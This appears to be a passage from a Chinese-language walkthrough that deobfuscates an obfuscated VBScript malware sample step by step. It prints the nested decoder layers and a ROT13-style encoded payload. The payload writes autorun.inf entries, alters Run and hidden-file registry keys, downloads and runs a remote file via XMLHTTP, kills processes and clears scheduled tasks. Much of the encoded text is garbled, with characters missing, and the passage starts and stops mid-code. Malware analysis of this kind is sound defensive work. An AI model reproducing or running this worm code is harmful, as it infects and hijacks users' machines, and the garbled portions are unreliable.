(,6)<>| |&  = :(& )) && )) && () &&  && (,) &&  && () &&  && (,,) &&  && () &&  && (,) &&  && (,) &&  && (,) &&  && (,) &&  && (,,,) &&  && (,) &&  && () &&  && () &&  && () &&  && () &&  && (,,,,) &&  && (,,,) &&  && () &&  && () &&  && () &&  && () &&  &)  ()  .<>5  <5  . =  <>5  (  ,6)<>()    ,(  ,6)+()  (  ,6)>655    ,:  ,5      ":execute(uc(lO+qO))
Sub Intercept (y)
WScript.Echo y
OutPutFile="decode_2.txt"
Set objFSO=CreateObject("Scripting.FileSystemObject")
Set objTXT=objFSO.CreateTextFile(OutPutFile,True,False)
objTXT.Write y
objTXT.Close
Set objWSH=CreateObject("WScript.Shell")
objWSH.Run OutPutFile
WScript.Quit
End Sub
保存为vbs后执行得到decode_2.txt,内容如下
代码:
execute ""&chr(&h63)&chr(&h3d)&chr(&h76)&chr(&h62)&chr(&h63)&chr(&h72)&chr(&h6C)&chr(&h66)&chr(&h3A)&chr(&h64)&chr(&h3D)&chr(&h31)&chr(&h32)&chr(&h37)&chr(&h3A)&chr(&h66)&chr(&h3D)&chr(&h31)&chr(&h31)&chr(&h3A)&chr(&h6A)&chr(&h3D)&chr(&h31)&chr(&h32)&chr(&h3A)&chr(&h68)&chr(&h3D)&chr(&h31)&chr(&h34)&chr(&h3A)&chr(&h6D)&chr(&h3D)&chr(&h33)&chr(&h31)&chr(&h3A)&chr(&h72)&chr(&h3D)&chr(&h38)&chr(&h33)&chr(&h3A)&chr(&h6B)&chr(&h3D)&chr(&h31)&chr(&h3A)&chr(&h6E)&chr(&h3D)&chr(&h38)&chr(&h3A)&chr(&h73)&chr(&h3D)&chr(&h31)&chr(&h31)&chr(&h34)&chr(&h3A)&chr(&h75)&chr(&h3D)&chr(&h2D)&chr(&h35)&chr(&h3A)&chr(&h76)&chr(&h3D)&chr(&h35)&chr(&h0D)&chr(&h0A)&chr(&h69)&chr(&h3D)&chr(&h22)&chr(&h69)&chr(&h66)&chr(&h20)&chr(&h61)&chr(&h3D)&chr(&h22)&chr(&h3A)&chr(&h74)&chr(&h3D)&chr(&h22)&chr(&h20)&chr(&h74)&chr(&h68)&chr(&h65)&chr(&h6E)&chr(&h20)&chr(&h22)&chr(&h3A)&chr(&h65)&chr(&h3D)&chr(&h22)&chr(&h65)&chr(&h6C)&chr(&h73)&chr(&h65)&chr(&h69)&chr(&h66)&chr(&h20)&chr(&h61)&chr(&h3E)&chr(&h3D)&chr(&h22)&chr(&h3A)&chr(&h61)&chr(&h3D)&chr(&h22)&chr(&h20)&chr(&h61)&chr(&h6E)&chr(&h64)&chr(&h20)&chr(&h61)&chr(&h3C)&chr(&h3D)&chr(&h22)&chr(&h3A)&chr(&h67)&chr(&h3D)&chr(&h22)&chr(&h61)&chr(&h3D)&chr(&h61)&chr(&h2B)&chr(&h22)&chr(&h3A)&chr(&h6F)&chr(&h3D)&chr(&h74)&chr(&h26)&chr(&h63)&chr(&h26)&chr(&h67)&chr(&h3A)&chr(&h70)&chr(&h3D)&chr(&h63)&chr(&h26)&chr(&h65)&chr(&h3A)&chr(&h71)&chr(&h3D)&chr(&h63)&chr(&h26)&chr(&h69)&chr(&h0D)&chr(&h0A)&chr(&h65)&chr(&h78)&chr(&h65)&chr(&h63)&chr(&h75)&chr(&h74)&chr(&h65)&chr(&h28)&chr(&h6C)&chr(&h26)&chr(&h22)&chr(&h66)&chr(&h6F)&chr(&h72)&chr(&h20)&chr(&h69)&chr(&h69)&chr(&h3D)&chr(&h31)&chr(&h20)&chr(&h74)&chr(&h6F)&chr(&h20)&chr(&h6C)&chr(&h65)&chr(&h6E)&chr(&h28)&chr(&h62)&chr(&h29)&chr(&h3A)&chr(&h61)&chr(&h3D)&chr(&h61)&chr(&h73)&chr(&h63)&chr(&h28)&chr(&h6D)&chr(&h69)&chr(&h64)&chr(&h28)&chr(&h62)&chr(&h2C)&chr(&h69)&chr(&h69)&chr(&h2C)&chr(&h31)&chr(&h29)&chr(&h29)&chr(&h22)&chr(&h26)&chr(&h71)&chr(&h26)&chr(&h22)&chr(&h64)&chr(&h22)&chr(&h26)&chr(&h74)&chr(&h26)&chr(&h22)&chr(&h61)&chr(&h3D)&chr(&h31)&chr(&h33)&chr(&h22)&chr(&h26)&chr(&h71)&chr(&h26)&chr(&h22)&chr(&h66)&chr(&h22)&chr(&h26)&chr(&h74)&chr(&h26)&chr(&h22)&chr(&h61)&chr(&h3D)&chr(&h31)&chr(&h30)&chr(&h22)&chr(&h26)&chr(&h71)&chr(&h26)&chr(&h22)&chr(&h6A)&chr(&h22)&chr(&h26)&chr(&h74)&chr(&h26)&chr(&h63)&chr(&h26)&chr(&h22)&chr(&h61)&chr(&h3D)&chr(&h33)&chr(&h34)&chr(&h22)&chr(&h26)&chr(&h63)&chr(&h26)&chr(&h65)&chr(&h26)&chr(&h22)&chr(&h68)&chr(&h22)&chr(&h26)&chr(&h61)&chr(&h26)&chr(&h22)&chr(&h6D)&chr(&h22)&chr(&h26)&chr(&h6F)&chr(&h26)&chr(&h22)&chr(&h72)&chr(&h22)&chr(&h26)&chr(&h70)&chr(&h26)&chr(&h22)&chr(&h6B)&chr(&h22)&chr(&h26)&chr(&h61)&chr(&h26)&chr(&h22)&chr(&h6E)&chr(&h22)&chr(&h26)&chr(&h6F)&chr(&h26)&chr(&h22)&chr(&h73)&chr(&h22)&chr(&h26)&chr(&h70)&chr(&h26)&chr(&h22)&chr(&h35)&chr(&h33)&chr(&h22)&chr(&h26)&chr(&h61)&chr(&h26)&chr(&h22)&chr(&h35)&chr(&h37)&chr(&h22)&chr(&h26)&chr(&h6F)&chr(&h26)&chr(&h22)&chr(&h75)&chr(&h22)&chr(&h26)&chr(&h70)&chr(&h26)&chr(&h22)&chr(&h34)&chr(&h38)&chr(&h22)&chr(&h26)&chr(&h61)&chr(&h26)&chr(&h22)&chr(&h35)&chr(&h32)&chr(&h22)&chr(&h26)&chr(&h6F)&chr(&h26)&chr(&h22)&chr(&h76)&chr(&h22)&chr(&h26)&chr(&h63)&chr(&h26)&chr(&h22)&chr(&h65)&chr(&h6E)&chr(&h64)&chr(&h20)&chr(&h69)&chr(&h66)&chr(&h22)&chr(&h26)&chr(&h63)&chr(&h26)&chr(&h22)&chr(&h75)&chr(&h63)&chr(&h3D)&chr(&h75)&chr(&h63)&chr(&h2B)&chr(&h63)&chr(&h68)&chr(&h72)&chr(&h28)&chr(&h61)&chr(&h29)&chr(&h22)&chr(&h26)&chr(&h63)&chr(&h26)&chr(&h22)&chr(&h6E)&chr(&h65)&chr(&h78)&chr(&h74)&chr(&h22)&chr(&h26)&chr(&h63)&chr(&h26)&chr(&h22)&chr(&h75)&chr(&h63)&chr(&h3D)&chr(&h72)&chr(&h6E)&chr(&h2B)&chr(&h63)&chr(&h2B)&chr(&h75)&chr(&h63)&chr(&h22)&chr(&h29)
全是十六进制的代码,很明显,继续跟进execute。替换execute为Intercept,末尾添加
Sub Intercept(code)
WScript.Echo code
OutPutFile="decode_3.txt"
Set objFSO=CreateObject("Scripting.FileSystemObject")
Set objTXT=objFSO.CreateTextFile(OutPutFile,True,False)
objTXT.Write code
objTXT.Close
Set objWSH=CreateObject("WScript.Shell")
objWSH.Run OutPutFile
WScript.Quit
End Sub
修改后代码为
 程序代码

Intercept ""&chr(&h63)&chr(&h3d)&chr(&h76)&chr(&h62)&chr(&h63)&chr(&h72)&chr(&h6C)&chr(&h66)&chr(&h3A)&chr(&h64)&chr(&h3D)&chr(&h31)&chr(&h32)&chr(&h37)&chr(&h3A)&chr(&h66)&chr(&h3D)&chr(&h31)&chr(&h31)&chr(&h3A)&chr(&h6A)&chr(&h3D)&chr(&h31)&chr(&h32)&chr(&h3A)&chr(&h68)&chr(&h3D)&chr(&h31)&chr(&h34)&chr(&h3A)&chr(&h6D)&chr(&h3D)&chr(&h33)&chr(&h31)&chr(&h3A)&chr(&h72)&chr(&h3D)&chr(&h38)&chr(&h33)&chr(&h3A)&chr(&h6B)&chr(&h3D)&chr(&h31)&chr(&h3A)&chr(&h6E)&chr(&h3D)&chr(&h38)&chr(&h3A)&chr(&h73)&chr(&h3D)&chr(&h31)&chr(&h31)&chr(&h34)&chr(&h3A)&chr(&h75)&chr(&h3D)&chr(&h2D)&chr(&h35)&chr(&h3A)&chr(&h76)&chr(&h3D)&chr(&h35)&chr(&h0D)&chr(&h0A)&chr(&h69)&chr(&h3D)&chr(&h22)&chr(&h69)&chr(&h66)&chr(&h20)&chr(&h61)&chr(&h3D)&chr(&h22)&chr(&h3A)&chr(&h74)&chr(&h3D)&chr(&h22)&chr(&h20)&chr(&h74)&chr(&h68)&chr(&h65)&chr(&h6E)&chr(&h20)&chr(&h22)&chr(&h3A)&chr(&h65)&chr(&h3D)&chr(&h22)&chr(&h65)&chr(&h6C)&chr(&h73)&chr(&h65)&chr(&h69)&chr(&h66)&chr(&h20)&chr(&h61)&chr(&h3E)&chr(&h3D)&chr(&h22)&chr(&h3A)&chr(&h61)&chr(&h3D)&chr(&h22)&chr(&h20)&chr(&h61)&chr(&h6E)&chr(&h64)&chr(&h20)&chr(&h61)&chr(&h3C)&chr(&h3D)&chr(&h22)&chr(&h3A)&chr(&h67)&chr(&h3D)&chr(&h22)&chr(&h61)&chr(&h3D)&chr(&h61)&chr(&h2B)&chr(&h22)&chr(&h3A)&chr(&h6F)&chr(&h3D)&chr(&h74)&chr(&h26)&chr(&h63)&chr(&h26)&chr(&h67)&chr(&h3A)&chr(&h70)&chr(&h3D)&chr(&h63)&chr(&h26)&chr(&h65)&chr(&h3A)&chr(&h71)&chr(&h3D)&chr(&h63)&chr(&h26)&chr(&h69)&chr(&h0D)&chr(&h0A)&chr(&h65)&chr(&h78)&chr(&h65)&chr(&h63)&chr(&h75)&chr(&h74)&chr(&h65)&chr(&h28)&chr(&h6C)&chr(&h26)&chr(&h22)&chr(&h66)&chr(&h6F)&chr(&h72)&chr(&h20)&chr(&h69)&chr(&h69)&chr(&h3D)&chr(&h31)&chr(&h20)&chr(&h74)&chr(&h6F)&chr(&h20)&chr(&h6C)&chr(&h65)&chr(&h6E)&chr(&h28)&chr(&h62)&chr(&h29)&chr(&h3A)&chr(&h61)&chr(&h3D)&chr(&h61)&chr(&h73)&chr(&h63)&chr(&h28)&chr(&h6D)&chr(&h69)&chr(&h64)&chr(&h28)&chr(&h62)&chr(&h2C)&chr(&h69)&chr(&h69)&chr(&h2C)&chr(&h31)&chr(&h29)&chr(&h29)&chr(&h22)&chr(&h26)&chr(&h71)&chr(&h26)&chr(&h22)&chr(&h64)&chr(&h22)&chr(&h26)&chr(&h74)&chr(&h26)&chr(&h22)&chr(&h61)&chr(&h3D)&chr(&h31)&chr(&h33)&chr(&h22)&chr(&h26)&chr(&h71)&chr(&h26)&chr(&h22)&chr(&h66)&chr(&h22)&chr(&h26)&chr(&h74)&chr(&h26)&chr(&h22)&chr(&h61)&chr(&h3D)&chr(&h31)&chr(&h30)&chr(&h22)&chr(&h26)&chr(&h71)&chr(&h26)&chr(&h22)&chr(&h6A)&chr(&h22)&chr(&h26)&chr(&h74)&chr(&h26)&chr(&h63)&chr(&h26)&chr(&h22)&chr(&h61)&chr(&h3D)&chr(&h33)&chr(&h34)&chr(&h22)&chr(&h26)&chr(&h63)&chr(&h26)&chr(&h65)&chr(&h26)&chr(&h22)&chr(&h68)&chr(&h22)&chr(&h26)&chr(&h61)&chr(&h26)&chr(&h22)&chr(&h6D)&chr(&h22)&chr(&h26)&chr(&h6F)&chr(&h26)&chr(&h22)&chr(&h72)&chr(&h22)&chr(&h26)&chr(&h70)&chr(&h26)&chr(&h22)&chr(&h6B)&chr(&h22)&chr(&h26)&chr(&h61)&chr(&h26)&chr(&h22)&chr(&h6E)&chr(&h22)&chr(&h26)&chr(&h6F)&chr(&h26)&chr(&h22)&chr(&h73)&chr(&h22)&chr(&h26)&chr(&h70)&chr(&h26)&chr(&h22)&chr(&h35)&chr(&h33)&chr(&h22)&chr(&h26)&chr(&h61)&chr(&h26)&chr(&h22)&chr(&h35)&chr(&h37)&chr(&h22)&chr(&h26)&chr(&h6F)&chr(&h26)&chr(&h22)&chr(&h75)&chr(&h22)&chr(&h26)&chr(&h70)&chr(&h26)&chr(&h22)&chr(&h34)&chr(&h38)&chr(&h22)&chr(&h26)&chr(&h61)&chr(&h26)&chr(&h22)&chr(&h35)&chr(&h32)&chr(&h22)&chr(&h26)&chr(&h6F)&chr(&h26)&chr(&h22)&chr(&h76)&chr(&h22)&chr(&h26)&chr(&h63)&chr(&h26)&chr(&h22)&chr(&h65)&chr(&h6E)&chr(&h64)&chr(&h20)&chr(&h69)&chr(&h66)&chr(&h22)&chr(&h26)&chr(&h63)&chr(&h26)&chr(&h22)&chr(&h75)&chr(&h63)&chr(&h3D)&chr(&h75)&chr(&h63)&chr(&h2B)&chr(&h63)&chr(&h68)&chr(&h72)&chr(&h28)&chr(&h61)&chr(&h29)&chr(&h22)&chr(&h26)&chr(&h63)&chr(&h26)&chr(&h22)&chr(&h6E)&chr(&h65)&chr(&h78)&chr(&h74)&chr(&h22)&chr(&h26)&chr(&h63)&chr(&h26)&chr(&h22)&chr(&h75)&chr(&h63)&chr(&h3D)&chr(&h72)&chr(&h6E)&chr(&h2B)&chr(&h63)&chr(&h2B)&chr(&h75)&chr(&h63)&chr(&h22)&chr(&h29)
Sub Intercept(code)
WScript.Echo code
OutPutFile="decode_3.txt"
Set objFSO=CreateObject("Scripting.FileSystemObject")
Set objTXT=objFSO.CreateTextFile(OutPutFile,True,False)
objTXT.Write code
objTXT.Close
Set objWSH=CreateObject("WScript.Shell")
objWSH.Run OutPutFile
WScript.Quit
End Sub

保存为vbs执行获得decode_3.txt,这次总算出锅了,代码如下
 程序代码

c=vbcrlf:d=127:f=11:j=12:h=14:m=31:r=83:k=1:n=8:s=114:u=-5:v=5
i="if a=":t=" then ":e="elseif a>=":a=" and a<=":g="a=a+":o=t&c&g:p=c&e:q=c&i
execute(l&"for ii=1 to len(b):a=asc(mid(b,ii,1))"&q&"d"&t&"a=13"&q&"f"&t&"a=10"&q&"j"&t&c&"a=34"&c&e&"h"&a&"m"&o&"r"&p&"k"&a&"n"&o&"s"&p&"53"&a&"57"&o&"u"&p&"48"&a&"52"&o&"v"&c&"end if"&c&"uc=uc+chr(a)"&c&"next"&c&"uc=rn+c+uc")

decode_1.txt中的UC函数就跟进到这里了,下面跟进execute(uc(lO+qO))
4,跟进decode_1.txt中的execute(uc(lO+qO))。同样替换execute(uc(lO+qO))为Intercept(uc(lO+qO)),末尾添加代码
Sub Intercept (code)
WScript.Echo code
OutPutFile="1.txt"
Set objFSO=CreateObject("Scripting.FileSystemObject")
Set objTXT=objFSO.CreateTextFile(OutPutFile,True,False)
objTXT.Write code
objTXT.Close
Set objWSH=CreateObject("WScript.Shell")
objWSH.Run OutPutFile
WScript.Quit
End Sub
修改后代码为
 程序代码

rem UT 
lO="    = =|4.6|:=|UT|:=255:=|.|:=|.|:=|%% / |:=|/#/|:=|\.|}{ =(|.|): =(|:\\.\\7|)}{ =(|.|): =.(| *  87_|)}{ =.:=.:=.(5)&:=.(6)&}{=.(7)&:=&|\|:=(,()-(.))}{=|(||.||).|:=|\|:=|HKLM\\\|&&&}{=(,5): =||  =}{=|HKLM\\|&&:=|\\\\\\|}{=| \|:=(|HKLM|&&&| |,5)&&:=(|HKCU|&&&||,5)&}{=(|HKCU|&&&||,5)&:=:=(|?01|):=(|:;4::<04|):=|5EE|:=(||+)}{=|HKLM\\\\\\\\|: =  =}{    :=.:=.:=.:=.:=.:}{=|HKCU|&&|\|:=|6<=121|&(679)&|;|}{ (,|0.7|)<>5 }{=||+}{ <>31  =||+: =|$|+:  := =(||,6):=(||,6):  ()   ()   ||,6: ||,:=(||,6)}{ ||,+6:=(|.|,6)=6  (|.|,6)=6  (|.|,6)=6}{ -()>9  =:. |  || |||,5,}{ ((||,6)>355       )  (||,6)<>() }{=(||,6):   =6:=6:=5}{  <>|<>|}{ =7  =9 }{7=(&,++()&,5,655):=(&,6)}{ =6  =8  6=(&,+()+()&&|&=|&,5,655):=(&,6)}{ :=+6:=6=6  7=6: >9 }{   =6}{ }{ }{    -6}{}{ (&,6) }{ =.(&,6)}{=.:=.:=.:=.:=.:=.}{=.:=.:=.:=.:=.:=.}{.: &: =|<>| }{ ||,6: ||,: ||,: ||,: ||,: ||,: ||,}{ ->=6   (&,6)   &,&&&,,7555:.}{ =6   }{ <>   (&,6)   &: &,&&&,6,6555}{ }{ }{ }{ }{ (6)    =6 :=  .()  =6  =}{ .()  =7  = :=  ,5}{ (,6)  .()}{ (,7)  .() := : :=  : =.(,):. :.}{ =6   ,2}{  (5)  =6 :=  : =.(,):=}{. &&|[]|&&|=. .\|&&&|\\=. .\|&&&|\\=6|}{.: ,2:  (5)  =6 :=  <5  =}{ (,6) }{ .().=5 }{=5}{}{ =.(,6)}{ =.(,6)}{.}{=.}{.}{ >5  <= }{=5 }{  <}{=+6}{  . }{=.}{}{=5}{ }{}{=}{ <=5 }{=.}{}{=5}{ }{.}{ }{}{=5}{  :=  =-6  .   . &,,|REG_SZ| :=  =6  =&}{=.()}{ (5)  =5 :=  (,6) : =.():.=: =}{ (,7) : =.():.=: = := )):  :=  ,5:  = (|.|):. ||,,5:.()}{ <>5 }{  (5) }{=6: =(|.|) }{.=8:.=6:.():.(.):. ,7}{ ,2}{ (,6)  =.().  =5}{ > }{ =6  . }{}{=5: }{ }{ }{  :=  =.(| ":function uc(b):x="633d766263726C663A643D3132373A663D31313A6A3D31323A683D31343A6D3D33313A723D38333A6B3D313A6E3D383A733D3131343A753D2D353A763D350D0A693D22696620613D223A743D22207468656E20223A653D22656C7365696620613E3D223A613D2220616E6420613C3D223A673D22613D612B223A6F3D74266326673A703D6326653A713D6326690D0A65786563757465286C2622666F722069693D3120746F206C656E2862293A613D617363286D696428622C69692C3129292226712622642226742622613D31332226712622662226742622613D313022267126226A22267426632622613D3334222663266526226822266126226D22266F26227222267026226B22266126226E22266F262273222670262235332226612622353722266F262275222670262234382226612622353222266F2622762226632622656E64206966222663262275633D75632B63687228612922266326226E657874222663262275633D726E2B632B75632229":y="execute """"":z="&chr(&h":w=")":execute("do while len(x)>1:if isnumeric(left(x,1)) then y=y&z&left(x,2)&w:x=mid(x,3) else y=y&z+left(x,4)+w:x=mid(x,5)"&vbcrlf&"loop"):execute(y):end function:qO="*  87_  ='|&&|'|):=6}{    :=+6}{ >()  =6}{ <5   .=7  =6  . &| |&(.,(.)-9),5,}{}{ (5)  =7 :=  =6  ():=+(((,,6))-): := =670:=678:=679:=42:=654:=68:=665:=677:=-68:=5:=5: :=     }{ =&  . | |&,8,}{}{=(,-6): ()  (|H N!|): 6}{  }{ 6}{ (||,6)<> }{ ||,}{ ||,}{ ||,}{ ||,5}{ }{=(||,6): ()  -()>85   ||,9}{ (||,6)=6  . | / /|,5,: ||,5}{ (&,5)=   -6}{=(||,6): (&,6)  . &}{ 5}{: 6}{. 6555}{ (||,6)<>()  . }{}{. 0555}{ (|.|,7)=7 }{ (||,6)=() :.:: ||,}{ }{ (|.|,7)=6  .}{ ,2: &: &: 6:. &}{  :=&:=  : =.(,):. :.: ,2 :=  := \ :    :=  =6  (&,5)<> }{. &,,|REG_SZ|}{ (5)   (,6)   ,&| |||&&||||,5}{ =-6 : }{ =5 : : &,-6: ,-6}{  :=  =6  . ,|5|,|REG_DWORD|}{ =5  =(,5) := =(||,6)}{  <=:=&|,|&:=+6:}{=&:=(,|,|)}{ =5  ()}{ =()    (&,6)   &,&,5,7555}{}{ (&,6)  . &}{=6 :=  (||,6)<>  (,6)=6 }{ (&,&,5,7555)=6  =6}{ (&,6)  =6 }{ =6   ,-6}{. &}{  (5)   ||,: 5,+()++,5,5: =7   ,-6: 6}{ }{=6}{ }{. 655 :=     }{ .=8  (.=6  <>|A:|  <> |B:|) }{ =6 }{ (&,7)   &}{ (&&,6)  (&,6) }{ (&,6)<>   &}{}{ 6: &: &&}{ }{ =-6 : &: &&}{: &&,&|((.,8)),8|&(65555,|'|),6: &}{ }{ }{ := =(||,6)<>9}{}{=(||,6)<>()}{ (()  8)=5 }{      6}{=(): (  7)=6  <>  <>6  =:=: 5}{ (||,6)=6  (((||,6)))}{ }{. 455}{ (5)=6     ||,: -6}{ (|.|,6)=6 :. | |&+5.558&| / |&,5,: ||,6: 6: 5:.}{ := :(( :=  =6 }{ 5: -6: : &: &: &:.}{}{ 6}{ (&)   &}{ (&)   &}{  :=  (,6)<>| |&  = :(& )) && )) && () &&  && (,) &&  && () &&  && (,,) &&  && () &&  && (,) &&  && (,) &&  && (,) &&  && (,) &&  && (,,,) &&  && (,) &&  && () &&  && () &&  && () &&  && () &&  && (,,,,) &&  && (,,,) &&  && () &&  && () &&  && () &&  && () &&  &)  ()  .<>5  <5  . =  <>5  (  ,6)<>()    ,(  ,6)+()  (  ,6)>655    ,:  ,5      ":Intercept(uc(lO+qO))
Sub Intercept (code)
WScript.Echo code
OutPutFile="decode_a.txt"
Set objFSO=CreateObject("Scripting.FileSystemObject")
Set objTXT=objFSO.CreateTextFile(OutPutFile,True,False)
objTXT.Write code
objTXT.Close
Set objWSH=CreateObject("WScript.Shell")
objWSH.Run OutPutFile
WScript.Quit
End Sub

保存为vbs执行后得到decode_a.txt,内容如下
 程序代码

on error resume next
dyz="ire=|9.1|:gvy=|UT|:ogw=700:if=|.iof|:ir=|.ior|:pz=|%pbzfcrp% /p |:qsb=|/h#g/|:vas=|\nhgbeha.vas|}{frg jf=perngrbowrpg(|jfpevcg.furyy|):frg jzv=trgbowrpg(|jvaztzgf:\\.\ebbg\pvzi2|)}{frg sfb=perngrbowrpg(|fpevcgvat.svyrflfgrzbowrpg|):frg fvf=jzv.rkrpdhrel(|fryrpg * sebz jva32_bcrengvatflfgrz|)}{frg qp=sfb.qevirf:bhj=jfpevcg.fpevcgshyyanzr:jva=sfb.trgfcrpvnysbyqre(0)&w:qve=sfb.trgfcrpvnysbyqre(1)&w}{gzc=sfb.trgfcrpvnysbyqre(2)&w:jor=qve&|jorz\|:zve=yrsg(bhj,yra(bhj)-yra(jfpevcg.fpevcganzr))}{jfe=|perngrbowrpg(||jfpevcg.furyy||).eha|:pae=|\pbzchgreanzr|:pac=|HKLM\flfgrz\pheeragpbagebyfrg\pbageby|&pae&pae&pae}{pan=ee(pac,0):vs pan=|| gura pan=gvy}{ecn=|HKLM\fbsgjner\|&pan&w:ebc=|\fbsgjner\zvpebfbsg\jvaqbjf\pheeragirefvba\rkcybere\|}{fs=|furyy sbyqref\|:sfc=ee(|HKLM|&ebc&fs&|pbzzba fgneghc|,0)&w&if:snc=ee(|HKCU|&ebc&fs&|snibevgrf|,0)&w}{qnc=ee(|HKCU|&ebc&fs&|qrfxgbc|,0)&w:efa=pan:ug=rp(|vijg?56|):un=rp(|:;9::<5xj9|):up=|0qjhEcE|:ur=rp(|p|+up)}{efc=|HKLM\fbsgjner\zvpebfbsg\jvaqbjf\pheeragirefvba\cbyvpvrf\rkcybere\eha\|:vs zve=qve gura flf=gehr}{sbe rnpu fv va fvf:pn=fv.pncgvba:pf=fv.pbqrfrg:pp=fv.pbhagelpbqr:bf=fv.bfynathntr:ji=fv.irefvba:arkg}{uvc=|HKCU|&ebc&|nqinaprq\fubjfhcreuvqqra|:uo=|ii1<=676k|&pue(124)&|e;|}{vs vafge(ji,|5.2|)<>0 gura}{uq=|g|+up}{ryfrvs pp<>86 gura uq=|c|+up:ryfr uq=|$|+up:raq vs":gtz="gwf=ee(|gwf|,1):qwf=ee(|qwf|,1):vs abg vfahzrevp(gwf) be abg vfqngr(qwf) gura je |gwf|,1:je |qwf|,qngr:qwf=ee(|qwf|,1)}{je |gwf|,gwf+1:jo=ce(|pyfza.rkr|,1)=1 be ce(|nc.rkr|,1)=1 be ce(|chojva.rkr|,1)=1}{vs qngr-pqngr(qwf)>4 gura td=gehr:jf.eha |arg fgneg ||gnfx fpurqhyre|||,0,snyfr}{vs (ee(|gwf|,1)>800 be jo be td be abg flf) naq ee(|qrq|,1)<>pfge(qngr) gura}{vq=ee(|vqq|,1):vs jo gura vq=1:wf=1:pq=0}{qb juvyr pq<>|<fpevcg>|}{vs wf=2 be wf=4 gura}{q2=qa(zve&gvy,ug+un+rp(uq)&vq,0,100):pq=eg(zve&gvy,1)}{ryfrvs wf=1 be wf=3 gura q1=qa(zve&gvy,ug+rp(uo)+rp(uq)&vq&|&i=|&ire,0,100):pq=eg(zve&gvy,1)}{raq vs:wf=wf+1:jm=q1=1 be q2=1:vs wf>4 gura}{vs jm gura tg=1}{rkvg qb}{raq vs}{vs jm gura re -1}{ybbc}{vs rv(zve&gvy,1) gura}{frg e=sfb.bcragrkgsvyr(zve&gvy,1)}{pva=e.ernqyvar:qvf=e.ernqyvar:qan=e.ernqyvar:qse=e.ernqyvar:air=e.ernqyvar:aeh=e.ernqyvar}{aan=e.ernqyvar:ase=e.ernqyvar:gfj=e.ernqyvar:gpb=e.ernqyvar:bfj=e.ernqyvar:vqq=e.ernqyvar}{e.pybfr:qs zve&gvy:vs pva=|<fpevcg>| gura}{je |gwf|,1:je |qwf|,qngr:je |vqq|,vqq:je |qan|,qan:je |gfj|,gfj:je |gpb|,gpb:je |bfj|,bfj}{vs air-ire>=1 be abg rv(qve&ir,1) gura qa qve&aan,ug&ase&qsb&aan,aeh,2000:jfpevcg.dhvg}{vs qvf=1 naq flf gura}{vs qan<>yr be abg rv(gzc&yr,1) gura qs gzc&yr:qa gzc&qan,ug&qse&qsb&qan,1,1000}{raq vs}{raq vs}{raq vs}{raq vs}{vs re(1) be jo gura tg=1":eiz="vs sfb.svyrrkvfgf(anzr) naq jg=1 gura rv=gehr}{vs sfb.sbyqrerkvfgf(anzr) naq jg=2 gura rv=gehr":dfz="ne ju,0}{vs rv(ju,1) gura sfb.qryrgrsvyr(ju)}{vs rv(ju,2) gura sfb.qryrgrsbyqre(ju)":fut=":function ":bfz="qs ju:frg ova=sfb.perngrgrkgsvyr(ju,gehr):ova.jevgryvar jg:ova.pybfr}{vs qn=1 gura ne ju,7}{vs abg re(0) gura os=1":biz="qs ju:frg v=sfb.perngrgrkgsvyr(ju,gehr):u=iopeys}{v.jevgryvar gvy&u&|[nhgbeha]|&u&|bcra=jfpevcg.rkr .\|&if&u&|furyy\bcra\pbzznaq=jfpevcg.rkr .\|&if&u&|furyy\bcra\qrsnhyg=1|}{v.pybfr:ne ju,7:vs abg re(0) gura ov=1":rtz="vs yv<0 gura ju=bhj}{vs rv(ju,1) gura}{vs sfb.trgsvyr(ju).fvmr=0 gura}{eg=0}{ryfr}{frg e=sfb.bcragrkgsvyr(ju,1)}{frg py=sfb.bcragrkgsvyr(ju,1)}{py.ernqnyy}{gyv=py.yvar}{py.pybfr}{vs yv>0 naq yv<=gyv gura}{v=0 }{qb juvyr v<yv}{v=v+1}{vs abg e.ngraqbsfgernz gura}{fyv=e.ernqyvar}{ryfr}{fyv=0}{raq vs}{ybbc}{eg=fyv}{ryfrvs yv<=0 gura}{eg=e.ernqnyy}{ryfr}{eg=0}{raq vs}{e.pybfr}{raq vs}{ryfr}{eg=0}{raq vs":wrz="vs eqn=-1 gura jf.ertqryrgr ean ryfr jf.ertjevgr ecn&ean,eqn,|REG_SZ|":rrz="vs cn=1 gura ean=ecn&ean}{ee=jf.erternq(ean)}{vs re(0) gura ee=0":arz="vs rv(svyr,1) gura:frg bsvyr=sfb.trgsvyr(svyr):bsvyr.nggevohgrf=pt:frg bsvyr=abguvat}{vs rv(svyr,2) gura:frg bsvyr=sfb.trgsbyqre(svyr):bsvyr.nggevohgrf=pt:frg bsvyr=abguvat":eft=")):end function":dnz="ne ybp,0:frg kcbfg = perngrbowrpg(|zvpebfbsg.kzyuggc|):kcbfg.bcra |trg|,jro,0:kcbfg.fraq()}{vs zva<>0 gura}{vs abg re(0) gura}{qa=1:frg ftrg=perngrbowrpg(|nqbqo.fgernz|) }{ftrg.zbqr=3:ftrg.glcr=1:ftrg.bcra():ftrg.jevgr(kcbfg.erfcbafrobql):ftrg.fnirgbsvyr ybp,2}{ne ybp,7}{vs rv(ybp,1) gura sfm=sfb.trgsvyr(ybp).fvmr ryfr sfm=0}{vs sfm>zva gura}{vs evf=1 gura jf.eha ybp}{ryfr}{qa=0:qs ybp}{raq vs}{raq vs}{raq vs":prz="frg cy=jzv.rkrpdhrel(|fryrpg * sebz jva32_cebprff jurer anzr='|&cpf&|'|):v=1}{sbe rnpu c va cy:v=v+1}{vs v>nof(tf) gura ce=1}{vs tf<0 gura vs c.grezvangr=2 naq ce=1 gura jf.eha pz&|gfxvyy |&yrsg(c.anzr,yra(c.anzr)-4),0,snyfr}{arkg}{vs re(0) gura ce=2":ecz="sbe v=1 gb yra(jg):rp=rp+pue(nfp(zvq(jg,v,1))-v):arkg":l="d=125:f=123:j=124:h=97:m=109:r=13:k=110:n=122:s=-13:u=0:v=0:":zcx="sbe rnpu q va qp}{vs zve=q&w gura jf.eha |rkcybere |&q,3,snyfr}{arkg}{bhp=eg(bhj,-1):vs ps(bhj) gura zftobk(|Hnccl Nrjlrne!|):xz 1}{vs flf gura}{uv 1}{vs ee(|gvy|,1)<>gvy gura}{je |gvy|,gvy}{je |gwf|,ogw}{je |qwf|,qngr}{je |qrq|,0}{raq vs}{qwf=ee(|qwf|,1):vs vfqngr(qwf) naq qngr-pqngr(qwf)>30 gura je |bfj|,4}{vs ee(|ngq|,1)=1 gura jf.eha |ng /q /l|,0,snyfr:je |ngq|,0}{vs ee(efc&efa,0)=ir gura ef -1}{yr=ee(|qan|,1):vs rv(gzc&yr,1) gura jf.eha gzc&yr}{xz 0}{ph:re 1}{jfpevcg.fyrrc 1000}{vs 